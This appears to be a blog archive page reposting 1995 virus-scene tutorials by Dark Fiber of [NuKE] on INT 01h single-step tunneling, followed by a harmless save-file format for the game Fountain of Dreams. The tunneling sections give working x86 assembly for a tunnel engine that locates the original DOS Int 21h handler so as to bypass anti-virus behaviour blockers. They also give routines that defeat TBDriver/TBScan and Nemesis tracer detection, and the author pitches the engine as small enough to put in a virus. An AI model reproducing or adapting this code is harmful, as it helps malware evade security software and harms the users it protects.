        push    cx                              DEADh, 1234h
        push    bx                              5678h, DEADh, 1234h

        pop     ax      ;=5678h                 DEADh, 1234h
        pop     bx      ;=DEADh                 1234h
        pop     cx      ;=1234h

Now, even tho we have poped them off memory, what has actually happend is
that the SP add had 2 added to it each time, adjusting where it points to,
but those values ARE STILL IN MEMORY, just below where SP points to currently.

        so, if  we did

        sub     sp,6

        the Stack Memory would look like

        5678h, DEADh, 1234h

The contents of memory have not been altered in any way, just the pointer
to the memory has.


Now, using the above example, this is what happens when we tunnel

assume,   int 1 CS=code, flags=flags, and the # is the ip.

When an INT occurs, it pushes the flags, cs, and ip onto the stack.

        Code Memory                     Stack Memory
cs:=code

1)      mov     ax,1234h
2)     *int     1*                              3, code, flags,
3)      push    ax                              1234h
4)     *int     1*                              5, code, flags, 1234h
5)      mov     bx,5678h                        1234h
6)     *int     1*                              7, code, flags, 1234h
7)      mov     cx,DEADh                        1234h
8)     *int     1*                              9, code, flags, 1234h
9)      push    cx                              DEADh, 1234h
a)     *int     1*                              b, code, flags, DEADh, 1234h
b)      push    bx                              5678h, DEADh, 1234h
c)     *int     1*                              d, code, flags, 5678h, DEADh...
d)      pop     ax      ;=5678h                 DEADh, 1234h
e)     *int     1*                              f, code, flags, DEADh, 1234h
f)      pop     bx      ;=DEADh                 1234h
10)    *int     1*                              11, code, flags, 1234h
11)     pop     cx      ;=1234h


Now, if we were to subtract SP by 6, this time our Stack Memory would look
like this,

        code, flags, 1234

Notice that the bottom 4 bytes are not 5678h, DEADh, thats because when an
Int 1 occurs, it overwrites whats underneath it.

(Hope I'm explaining this so you understand wink

This is how TBdriver detects a tracer is in memory.

Here is the actual TBDriver code

        push    bx
        push    ax
        xchg    ax,bx
        pop     ax
        dec     sp
        dec     sp
        pop     bx
        cmp     ax,bx
        pop     bx

Now, when its run without a tracer its Stack Memory looks like this

assume ax=1234, bx=5678

        Code                            Stack
        push    bx      ;bx=5678h       5678h

        push    ax      ;ax=1234h       1234h, 5678h

        xchg    ax,bx   ;ax=5678h       1234h, 5678h
                        ;bx=1234h

        pop     ax      ;ax=1234h       5678h
                        ;bx=1234h
        dec     sp                      34h, 5678h
        dec     sp                      1234h, 5678h

        pop     bx      ;ax=1234h       5678h
                        ;bx=1234h

        cmp     ax,bx   ;ax=1234h       5678h
                        ;bx=1234h

        pop     bx      ;ax=1234h
                        ;bx=5678h


Underneath the stack, it looks like this

                        1234h,  5678h

Because the SP is decremented, and the stack untouched, 1234h is still
there.

Now, if we traced it....

        Code                            Stack
        push    bx      ;bx=5678h       5678h

       *int     1*                      ip, code, flags, 5678h

        push    ax      ;ax=1234h       1234h, 5678h

       *int     1*                      ip, code, flags, 1234h, 5678h

        xchg    ax,bx   ;ax=5678h       1234h, 5678h
                        ;bx=1234h

       *int     1*                      ip, code, flags, 1234h, 5678h

        pop     ax      ;ax=1234h       5678h
                        ;bx=1234h

       *int     1*                      ip, code, flags, 5678h

        dec     sp                      ags, 5678h
        dec     sp                      flags, 5678h

       *int     1*                      ip, code, flags, flags, 5678h

        pop     bx      ;ax=1234h       ;5678h
                        ;bx=flags
       *int     1*                      ip, code, flags, 5678h

        cmp     ax,bx   ;ax=1234h       5678h
                        ;bx=flags

       *int     1*                      ip, code, flags, 5678h

        pop     bx      ;ax=1234h
                        ;bx=5678h


Now, when SP is decremented, because the last value pushed was the flags,
it overwrote the previously pushed AX in memory...... TB detects this,
notices its not what it expected it to be, and knows we are tracing it.

How do we get around this?  Well, in TBDriver, its structured so that
the first two bytes are a short jump OVER a far jump to the original
DOS Int21h..... So we check for TBcode, and use the far jump data wink

The code to fool TBScan looks like this

;Place this code underneath the ItsNotJmpD: label.
TBKiller:
        cmp     al,0fah                         ;CLI?
        jne     EndTBKiller
        lodsw
        cmp     ax,0fc9c                        ;Is it TBDriver?
        jne     EndTBKiller
        lodsw
        cmp     ax,05053                        ;TBDriver?
        jne     EndTBKiller
        sub     si,10
        mov     w[bp+_rip],si                   ;Run the original FAR jump
        inc     si                              ;skip EAh, so its data.
        jmp     FARJumpData

EndTBKiller:



"Gee, I heard Nemesis is damn tricky?"  Eh? Not any more!  All Nemesis
does to find tracers is do a PUSHF, then check W[BP+xx],0404, JB,
Now, if the TF is on, the FLAGS is > 0404, so, we add a status bit that
tells us that the LAST OPCODE RUN was a PUSHF, so remove the TF wink
Now is that simple or what?


The last method of killing a tracer while its running goes like this.

1.  Get the address of Int 1h
2.  Replace the first byte of the Int 1h seg:offs with an IRET opcode
3.  Remove the trace flag
4.  Restore the frist byte of Int 1h

To do that the code looks like

        mov     ax,03501h
        int     21h
        mov     cl,0CFh
    es: xchg    byte ptr [bx], cl
        pushf
        pop     ax
        and     ax,0feff
        push    ax
        popf
    es: xchg    byte ptr [bx], cl


Now, how do you defeat this?  Well, this *type* is pretty easy to avoid to.
The code goes something like this.

;Under the EndTBKiller: label goes this,

Kill_INT_1_Killers:
        cmp     al,0CDh                                 ;INT call?
        jne     End_Kill_Int_1_Killers
        cmp     byte ptr [si],021h                      ;21?
        jne     End_Kill_Int_1_Killers
        cmp     word ptr [bp+_ax],03501                 ;GET INT 1?
        jne     End_Kill_Int_1_Killers
    cs: or      byte ptr [_Status],2                    ;turn on fake int adres
End_Kill_Int_1_Killers:


;Under  RunNextTest_1:  put the code
        test    byte ptr [_Status],2            ;fake the address?
        je      RunNextTest_2
        xor     byte ptr [_Status],2
        mov     ax, word ptr [Int_01v]          ;get the orig, int 1 address
        mov     word ptr [bp+_bx],ax            ;put in into bx
        mov     ax, word ptr [Int_01v+2]
        mov     word ptr [bp+_es],ax            ;put it into es
        ;Now when it writes a byte to int 1, it
        ;will be writting to the unused int 1.
RunNextTest_2:

But what happens if they get our Int_1 address directly from the IVT?
Well..... you can check if they are putting a byte into our segment,
but, because of the miriad of differnt ways one can put a byte into
a position in memory, well, if you are a masochist you can come up with
that code all by yourself.

Well, I hope I've explained it so that you understand how tunnelers work.
If you want to see a different kind of tunneler check out ART 2.2 whos'
full source code is in vlad#4. This tunneler does not use int 1, but rather
decodes each single opcode.

Ah well, if you didnt understand then i really screwed up.
Posted by Stu on 08/23/1995 at 07:17 AM Permalink to this post.
Filed Under : ComputersDevelopment
Tags:

(0) Comments
Share/Bookmark

Monday, August 21, 1995

Single Step Tunneling Techniques Part 1

This is an old tutorial I wrote for an electronic magazine..

                             Dark Fiber of [NuKE]

                                   presents

                      Single Stepping Tunnel Techniques

                                    Part 1

                               21st August 1995





File Descriptions:

df-tunnl.doc    - This document
example.asm     - Example program that calls tunnel.asm
example.com     - Compiled example.asm
tunnel.asm      - The basic tunneling engine.
f-Tunnel.asm    - Full blown tunnel engine.
f-exampl.asm    - Example using F-Tunnel
f-exampl.com    - Compiled f-exampl.asm



  Tunneling with INT 01h is an easy thing to do, about as easy as writting
*.COM file viruses, but, for some reason, guides for using INT 01h tunneling
techniques dont exist like *.COM file virus guides do, so I'm goning to remedy
that.


  The Intel and its clone 8086+ compatibles have a nice mode built into them
called Single Stepping, and its VERY handy for programmers like us, who
want to find something specific in memory, for example, the kernal Int 21h
segment:offset, and bypassing other blocking TSR programs, such as Anti-Virus
behaviour blockers.  This tunneling technique is not the be all and end all
of tunneling, as I will discuss some techniques and why they work against
this kind of tunneling further on.


  In order to use the Single Step mode, we need to modify one of the bits
in the flag, and have set up an interrupt.

  The flag is a 16bit register and consists of the following fields.

                  �����������������������������������������������Ŀ
          flags   �--�--�--�--�OF�DF�IF�TF�SF�ZF�--�AF�--�PF�--�CF�
                  �������������������������������������������������
                   0F 0E 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00

        CF : Carry Flag         Indicates an arithmatic carry
        -- : Unused
        PF : Parity Flag        Indicates an even number of 1 bits
        -- : Unused
        AF : Auxilary Flag      Indicates adjustment needed in BCD numbers
        -- : Unused
        ZF : Zero Flag          Indicates a zero result, or equal comparison
        SF : Sign Flag          Indicates negative result/comparison
        TF : Trap Flag          Controls Single Step operation
        IF : Interrupt Flag     Controls whether interrupts are enabled
        DF : Direction Flag     Controls increment direction on string regs.
        OF : Overflow Flag      Indicates signed arithmatic overflow
        -- : Unused
        -- : Unused
        -- : Unused
        -- : Unused


  The only one we need to concern ourselves with is the TF flag.
When the trap flag is off, well, the Int 01h is not used, but when we turn
the TF to on, the Int 01h routine is called BEFORE each instruction is
executed.

  So, with that order in mind, you must hook the Int 01h, THEN turn on the
trap flag.

  First thing that we must do is to hook Int 1h, then we need to set Int 1h,
set the trap flag to on, then lastly, call a function that we wish to trace.

For the example code presented, we will be tunneling Int 21h.
All the code is for a minimum of an 80286 or greater, because I dont care
for coding for the lesser 8086 machine. wink


;== [ 80286+ | Priming the Tunnel code ] ======================================
; This code will save and hook INT 01h, and put the processor into single
; stepping mode.
;


Int_01v:        dd ?                            ;Old address for Int 01h
Int_21v:        dd ?                            ;the tracer modifies this.

Tunnel:
        pusha                                   ;Save our registers,
        push    es                              ;Assume we are being called
        push    ds                              ;from an external source.

        mov     ax,03521h
        int     021h                            ;Get Int 21h
    cs: mov     word ptr [Int_21v],bx           ;Save Int 21h address
    cs: mov     word ptr [Int_21v + 2],es

        mov     al,01h                          ;Get Int 01h
        int     021h
    cs: mov     word ptr [Int_01v],bx           ;Save Int 01h address
    cs: mov     word ptr [Int_01v + 2],es

        push    cs
        pop     ds                              ;Set DS = CS for OUR Int 01
                                                ;address.
        mov     ah,025h
        mov     dx,offset Int_01Handler         ;Our Int 01h routine
        int     21h                             ;Set our Int 01h routine

        ;This first PUSHF, is used in conjunction with the CALL FAR [Int_21v]
        ;code, as we need a FLAGS on the stack that has not got the TF
        ;turned to ON.

        pushf

        pushf
        pop     ax                              ;Save the flag
        or      ax,0100                         ;Set the TF to ON
        push    ax
        popf                                    ;restore the flags

        ;The moment we POPF the flags, the trace mode is initiated
        ;Because of the way it works, the first instruction immediatly
        ;following the POPF is NOT traced, tracing begins with the
        ;second instruction AFTER the POPF.

        mov     ax,03306                        ;Set AX for INTERNAL_DOS_VERS.
        call    far [Int_21v]                   ;Call the Int 21.
                                                ;we are faking an INT 21 call.

        ;The Int_01Handler routine takes over from here until the trace
        ;is finished. Only when its finished will control pass back to this
        ;piece of code.

        ;When control is passed back, Int_21v will hold the segment:offset
        ;of the last cross segment jump before the trace ended.

        ;Restore the old Int_01h vector
        lds     dx,word ptr [Int_01v]
        mov     ax,02501
        int     21h

        pop     ds
        pop     es
        popa                                    ;Restore registers
        ret

;==============================================================================


  Okey, before I code the Int_1_Handler routine for you, we need to go
over some more theory.

  First, is that the Int_1_Handler routine is designed to check what opcode
is going to be run next, so we need to know what some of the opcodes that
we will need to check for are.


        26h             ES:
        2Eh             CS:
        36h             SS:
        3Eh             DS:
                        These four are the segment overides, and are ALWAYS
                        placed BEFORE the opcode, but the CPU sees them as
                        part of the same opcode, so we must check for these
                        and then siphon them off, to get the byte value of
                        the real opcode.  We also use them for to determine
                        what segment to take data from on things like FAR
                        cross segment jumps.

        9Ch             PUSHF
                        We need to know this so we can get around Nemesis.

        9Dh             POPF
                        We need to check for the POPF because we dont want
                        any other program from turning off the TrapFlag, and
                        thus, dissableling our trace.

        CFh             IRET
                        This is what we use to signal that our trace should
                        end.

        EAh             JMP xxxx:yyyy
        FFh 1Eh         CALL FAR [xxxx]
        FFh 2Eh         JMP FAR [xxxx]

                        These three opcodes are used as cross segment jumps,
                        which commonly hold the seg:offs of the next Int hook.
                        Because the last two (FF1Eh, FF2Eh) take data from
                        the segment overide, or the current DS, we need to
                        know what that is too.


;== [ 80286+ | Tunnel Engine ] ================================================
;This is the actual code that does all the hard work.
;It has been somewhat (20bytes) optimised from the engine I used in Lady Death
;And bugfixed too wink

;These are our register offsets into the SS:SP[BP]

        _rfl    equ 01A
        _rcs    equ 018
        _rip    equ 016
        _ax     equ 014
        _cx     equ 012
        _dx     equ 010
        _bx     equ  0E
        _sp     equ  0C
        _bp     equ  0A
        _si     equ  08
        _di     equ  06
        _es     equ  04
        _ds     equ  02
        _ss     equ  00

Int_01Handler:
        pusha
        push    es
        push    ds                      ;Save ALL registers.
        push    ss                      ;Its not really nesecary to save SS wink
        mov     bp,sp                   ;but this engine was built for expansion

        ;One thing to note, if you want to know the TRUE value of SP, that
        ;is, you must subtract 6 from it, which covers the calling cs, ip & f.
        ;and thats sub w[bp+_sp],6  not sub sp,6 wink

        push    cs
        pop     ds

        test    b[_status],1
        je      RunNextTest_1
        xor     b[_status],1
        and     word ptr [bp+_rfl+2],0feff
        jmp     GetOpCode

RunNextTest_1:


GetOpCode:
        lds     si,word ptr [bp+22]     ;Get the seg:off of the next opcode

        cld                             ;clear direction
        lodsb                           ;get opcode

        ;AL now holds our bytevalue opcode.

        ;Check for a segment overide, and if not, assume its working in DS
        call    GetSegOveride           ;Get the segment overide
                                        ;bx = segment we will be using.

        ;Check the OPCode in AL
        cmp     al,09dh                 ;POPF?
        jne     ItsNotPOPF
        ;They are attempting to POP the flags.  Just incase they have tried
        ;to turn the TF off, we keep it turned on.
        or      word ptr [bp+_rfl+2],0100 ;Keep TRAPFLAG set to on.

ItsNotPOPF:
        cmp     al,09c
        jne     ItsNotPUSHF
    cs: or      byte ptr [_status],1

ItsNotPUSHF:
        cmp     al,0cf                          ;IRET
        jne     ItsNotIRET
        ;An IRET signals the end of our trace.
        ;So turn the TF to off.
        and     word ptr [bp+_rfl],0feff        ;Turn trace flag off

ItsNotIRET:
        cmp     al,0eah                 ;Jmp xxxx:yyyy
        jne     ItsNotFarJump

        ;A Cross segment jump!  Save the seg:offset its going to jump into.
        ;The data for the cross seg jump is contained in the CS: seg.
        ;So, no change is needed.

FarJumpData:
        lodsw
    cs: mov     word ptr [Int_21v+0],ax
        lodsw
    cs: mov     word ptr [Int_21v+2],ax
        jmp     RunNextOpCode


ItsNotFarJump:
        cmp     al,0ffh                 ;jmp d[xxxx]
        jne     ItsNotJmpD

        cmp     byte ptr [si],01eh      ;jmp d[xxxx], type 1
        jne     ItsJmpD
        cmp     byte ptr [si],02eh      ;jmp d[xxxx], type 2
        jne     ItsNotJmpD

ItsJmpD:
        inc     si                      ;skip jump type

        ;This opcode can use a segment override, so use it!
        mov     ds,bx                   ;segment override
        lodsw                           ;get storage offset of seg:offs
        mov     si,ax                   ;
        jmp     FarJumpData             ;treat it like jmp xxxx:yyyy


ItsNotJmpD:
        ;Next opcode here....
        ;Well, we dont need to monitor any more opcodes....

RunNextOpCode:
        pop     ss
        pop     ds
        pop     es                      ;Restore the flags
        popa
        iret                            ;Run the next opcode.



GetSegOveride:
        cmp     al,026h                 ;ES
        jne     NotSegES
        mov     bx,word ptr [bp+_es]
        lodsb                           ;Skip seg overide, to get next opcode
        ret

NotSegES:
        cmp     al,02eh                 ;CS
        jne     NotSegCS
        mov     bx,word ptr [bp+_rcs]
        lodsb                           ;Skip seg overide, to get next opcode
        ret

NotSegCS:
        cmp     al,036h                 ;SS
        jne     NotSegSS
        mov     bx,word ptr [bp+_ss]
        lodsb                           ;Skip seg overide, to get next opcode
        ret


NotSegSS:
        cmp     al,03eh                 ;DS
        jne     NotSegDS
        mov     bx,word ptr [bp+_ds]
        lodsb                           ;Skip seg overide, to get next opcode
        ret

NotSegDS:
        mov     bx,word ptr [bp+_ds]    ;DS
        ret                             ;No override, so assume DS

_status: db 0

;==============================================================================



  The code presented here is, when compiled, somewhere around 200bytes
long.  Which I think is not too big, when you include it in a virus.
The engine presented here was very basic in its structure.  It did not
check for things like

                JMP DOUBLE [BX+4]
                JMP DOUBLE [BX]
                JMP DOUBLE [SI-4]

                etc,
                or

                CALL DOUBLE [BX]

The reason being is that there are lots of other techniques for cross segment
jumping, and including all types would expand the engine considerably, and
they would not really be nesecary in a virus.
Posted by Stu on 08/21/1995 at 07:14 AM Permalink to this post.
Filed Under : ComputersDevelopment
Tags:

(0) Comments
Share/Bookmark

Tuesday, January 02, 1990

Fountain Of Dreams save format

Here is the save file format for Fountain Of Dreams.

===========================================================================

*NB* I wrote these up years ago, when I planned on doing a
     character editor (never did write it) so If you dont
     understand some of my notes, drop me a line.

        also, careful how you play with things neh?
        coz I bummped up my stats n weapons n shit and i remember
        that i had a 20minute battle against 1 snake and i was using
        grenades, flamethrowers and everything, so becarefule what
        you change, the results can be..... _very_ unpredictable.

If anyone uses these stats to make an editor, I'd like a copy smile

Dark Fiber
entropy@mpx.com.au

============================================================================

comment #

        Game : Fountain of Dreams
        Type : SavefileCharacter Editor Techspecs
        Date : July 15th 1990
      Author : Dark Fiber [AIH]

the save game files are actually the files

                DISK1.
                DISK2.
                DISK3.
                DISK4.

backup those four files BEFORE you play the game, then restore them
so no need to re-install


Savefile Layout

Offset  Descr                                           Type
~~~~~~  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   ~~~~~~~~
0008    Hour (relative form 0 to 23)                    byte
0009    minute (from 0 to 59)                           byte
000E    Money                                           DWord
0031    Total num chars in party (1=1,etc)              byte
0032    Character Order                                 Byte[5]
        eg: 0,3,1,2 = Character 1, 4, 2, 3   (char-1)
0037    Day (relative from 0)                           Byte


Char offsets = 003a, 0186, 02d2, 041e, 056a
        to work out xx offset for char Z then formula is
        character_offset_Z - ch_off_1 + item_offset
        eg:  2D2 - 3A + 57 = Charisma offset for character 3

003a    Name                                            asciiz[12]
0052    Strength                                        byte
0053    Intelligence                                    byte
0054    Dexterity                                       byte
0055    Will Power                                      byte
0056    Aptitude                                        byte
0057    Charisma                                        byte
0058    Luck                                            byte
005e    Active Skills                                   byte[16]
        Medic
        Lockpick
        Forgery!!
        Climb
        Pharmacy
        Bomb/Alarm Disarm
        Mechanics
        Electronics!!
        Cryptography!!
        Pickpocket!!
        FODDY FOD
        Doctor
        *Chameleon
        *Shriek
        *Stun
        *Corruption!!
006e    Passive Skills                                  byte[16]
        Perception
        Stealth
        Languages
        Demolitions
        Brawling
        Blades
        Handgun
        Rifle
        Auto Weapon
        Boating!!
        Gunsmith
        Swim
        Evasion
        Gambling!!
        *Mutant Recog!!
        *Camouflage
007e    Condition                                       Word
0080    Maximum Condition                               Word
0084    Equipped Item 1                                 byte
0085    Equipped Item 2                                 byte
0086    Equipped Item 3                                 byte
0087    Equipped Item 4                                 byte
        value of FF = no item equipped
        other # = item # in inventory
0088    Rank                                            byte
0092    Affliction                                      byte
        (Bit encoded)
        00000001 - Poisoned
        00000010 - Irradiated
        00000100 - Rabid
        00001000 - Envenomed
        00010000 - Condition  5
        00100000 - Condition  6
        01000000 - Condition  7
        10000000 - Mutant
009c    Items                                           byte[6] x 32
        1 item is 6 bytes long
        usually ones like ammo cartidges have 2nd byte as
        num of bullets in clip, etc.
        00 - Null Item
        01 - Dollars
        02 - .22 Handgun
        03 - .45 Colt Pistol
        04 - 9mm Browning Pistol
        05 - Ochoa's Rifle
        06 - Elephant Gun
        07 - Shotgun
        08 - Uzi
        09 - Clown MegaUzi
        0A - Clown Mega Uzi
        0B - AK-47 Assault Rifle
        0C - .22 Clip
        0D - .38 Clip
        0E - .45 Clip (7)
        0F - .45 Clip (30)
        10 - .50 Clip
        11 - 5.56mm Clip (20)
        12 - 5.56mm Clip (30)
        13 - 7.62mm Clip (5)
        14 - 7.62mm Clip (18)
        15 - 7.62mm Clip (30)
        16 - 9mm Clip (13)
        17 - 9mm Clip (30)
        18 - 9mm Clip (40)
        19 - Shotgun Shells
        1A - Grenade
        1B - Plastic Explosives
        1C - TNT
        1D - Gas Balloons
        1E - Flamethrower
        1F - Napalm Cannister
        20 - Machete
        21 - Meat Cleaver
        22 - Carving Knife
        23 - Cane Knife
        24 - Scalpel
        25 - Pool Cue
        26 - Garcia Sunday Vest
        27 - Shagreen Vest
        28 - Shagreen suit
        29 - Leather Vest
        2A - Leather Suit
        2B - Flak Vest
        2C - Flak Suit
        2D - Rad Suit
        2E - Obeah Necklace
        2F - Kevlar Vest
        30 - Kevlar Suit
        31 - Leather Cap
        32 - Riot Helmet
        33 - Kevlar Derby
        34 - Flo's Chapeau
        35 - Strongbox Key
        36 - Jewelry
        37 - Canteen
        38 - Canteen, Sea Water
        39 - Empty Canteen
        3A - Vial of Sea Water
        3B - Empty Vial
        3C - DeSoto Rum
        3D - DeSoto's XXX Finest
        3E - Chateau Pierrot
        3F - Empty Bottle
        40 - Bottle of Sea Water
        41 - Broken Bottle
        42 - Brewhoe Nostrum
        43 - Voodoo Tonic
        44 - Voodoo Elixir
        45 - Voodoo Cologne
        46 - Guard's Journal
        47 - Imelda's Letters
        48 - Mario's Diary
        49 - DeSoto Vault Key
        4A - Clown Master Key
        4B - Red Key
        4C - Black Key
        4D - Garcia's Key
        4E - Van Gogh painting
        4F - Pollack painting
        50 - Ojnab painting
        51 - Velvet Elvis
        52 - Bust of Beethoven
        53 - Mutant Badge
        54 - Clown Make up
        55 - Silverware
        56 - Spark Plug
        57 - Bandage
        58 - 50' Rope
        59 - .38 Police Special
        5A - Remington 700 Rifle
        5B - M16A1 Assault Rifl
        5C - MAC10
        5D - Shovel
        5E - Mechanic Toolkit
        5F - Electronics Tools
        60 - Obeah Talisman
        61 - DeSoto Amulet
        62 - Miami PD Badge
        63 - Vial, Healing Water
        64 - Vial, Sea Water
        65 - Vial, alcohol
        66 - Canteen, Heal Water
        67 - Canteen, alcohol
        68 - Bottle, Heal Water
        69 - Bottle of alcohol
        6A - Bottle, blue tap
        6B - Bottle, green tap
        6C - Bottle, violet tap
        6D - Canteen, blue tap
        6E - Canteen, green tap
        6F - Canteen, violet tap
        70 - Vial, blue tap
        71 - Vial, green tap
        72 - Vial, violet tap
        73 - Imelda's brooch
        74 - Personal Radio
        75 - Rubber Boots

#
Posted by Stu on 01/02/1990 at 08:12 AM Permalink to this post.
Filed Under : ComputersDevelopment
Tags:

(0) Comments
Share/Bookmark
Page 41 of 41 pages « First  <  39 40 41